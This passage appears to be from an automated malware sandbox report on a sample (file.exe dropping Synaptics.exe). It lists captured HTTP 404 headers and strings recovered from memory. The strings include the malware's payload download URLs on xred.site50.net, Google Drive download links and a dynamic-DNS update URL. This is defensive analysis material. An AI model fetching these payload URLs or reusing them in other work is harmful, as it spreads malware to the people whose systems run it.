Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7DJkL_1k3p9Jm9qH6m00ifJonYXKMufLFJzyLhGnxw3s0cn8SmP-0OE54o9Lo-j9swContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:04 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-A7lWMEU92VvuEHglevTTKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6HsKnWIfQvgEru7jQGgM419bNZ9E47e_kTVmr-mH-78XMyxclOxJymO9H7x6EFVgiEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:04 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-k1w-qb6td-dd__bLLo89-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4BwuyeDri6hDV9YS8efASC0S144CcwJ314_3rhW9XjjGcUlOWiftmxM43p3h7n_FJgiadv5f8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:05 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Uthj4jhh8rAQIfy2DwZ4NQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7jZa1BfZmaTC5U-tAJGwGlgQaWY8DergKbINa8kjWUJiXvE803Ugx1Od6ugeazz7aabIfXW5UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:05 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-i1Bum3kP3wuV_e2eRmaSag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6elcOMJZf7ETZffwtj9wZrkwrp9j_eOAAu8mNnfuBkDuuqPj8axttKT8N4_P6pK7IrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:07 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-OHCt6I374bH0sb6puiQDKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59YiJkwpSSoN_DgMY1p74RRrKNpPG42CIsSGPx0q4uNd41PRYN11qDBuxgU7ZKbGyCxjztYQwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:07 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-GTHoLr2DcQnulqwmmfWh8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4FGPAjsNOT0cgQ36GABnFN4Kt5iNZ4MnNxEzA-kpg9xENbPVCnMOJ_xtuPNX0-gFnEsdWVFOoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:09 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nxYGPefF9XjUiNOiikIOqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7nyXUb0SbfzjgHWduGvSMJduuMXP99rPFMCsrFzQ87TDkufKe_vfeTDUv8tQnGDCSsPQbxllQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:09 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-arbLrr7Vv2NVz8WtzwCFKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4dyq9hPdSeWPthq8c3kwqvA1LoQkljYy2lhY3QjAN5KvpdK0aB0TwZE0a51As6gQv1Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:11 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Fur3sQMLSZAZiyBftdHbvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7uufi-CuuSG2IT7wLak9LKJJWmSm-91fpdC4KXJFw3XMayJ_ox2MWl7zYcZNyeiWNyVZkJtO8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:11 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-9zZK_44E4xkYScADtjQXmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC64Xg5NVph1lDOLsZ_pznUCyOciwqzYz2Tlr_vK5SYko2JDgdeQbB83grcTehrQU-tfiYBEsusContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:12 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-5zp8a64Bmyh5nnK7psQqdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4TyRTccBECYo2TD1GYGzwyu-Jl0hf5FmlwLivFKFPtG3z96yqZd6ZwLcSOykGyo7QFkbo0HGUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:12 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6hwCT0PAm03me-gpj7T7BA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4cVAvrhCVJu55K_LZr3qAV0YlaXtPYhN8tJXMGHWQEYIf8C_2X5eurI8rXvXjWdJn_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:14 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-qxExPVE64mQdi6e0M4cDIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6y52_J0jto88mfOP07SpBorMSx1Iu_RDgiHwG736P_p_Lr4Vc1LAAbmIr2nXBlA_S7MBlAk7YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-LWn_vLWcPapakJmlyJ8Aeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5bB4cwJJfe-zqJSSDcZj7kt5LhGAehDGVkDYGqHRz9Y7n4H8zlRMcaPx1_YJedz7LKhfBUvpoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:15 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-AW6cSHoVMoEIqGun_04Mow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7xKUOk0nJXOphPRu7dzIBUJ-Q0a3Msq588wKhooxEGr57G068vetaXUp32qyyVRWMJDzCw9zwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:28 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ILNwGMRXRCHWf-1L2_WxlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5tdblVPX4kA1Ls_N8du8MzppwbFX_erEd8RXdFo281VTW-KFBnjsidPMeNCysXn1OIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:28 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-n865IQqdIM3DNS5Dsma64g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.000000000057A000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dlp
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniH)k
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000003.00000002.1980458813.0000000000591000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2014101336.000000000EA0A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1986453130.0000000006B05000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1980458813.00000000005DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000002.2033802566.000000001A93E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2004023076.000000000ACBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2027067816.00000000156BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp, file.exe, RCX3CE.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.1981358227.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: file.exe, 00000000.00000003.1388744063.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: file.exe, 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2005446316.000000000BF7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2016750397.000000001034E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2041380597.000000001F23E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2030188729.0000000017C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2022424730.00000000125FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1985804197.00000000063AE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2005262500.000000000BCFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2042116540.000000001FCFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2006095903.000000000C97E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2035967388.000000001C0FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 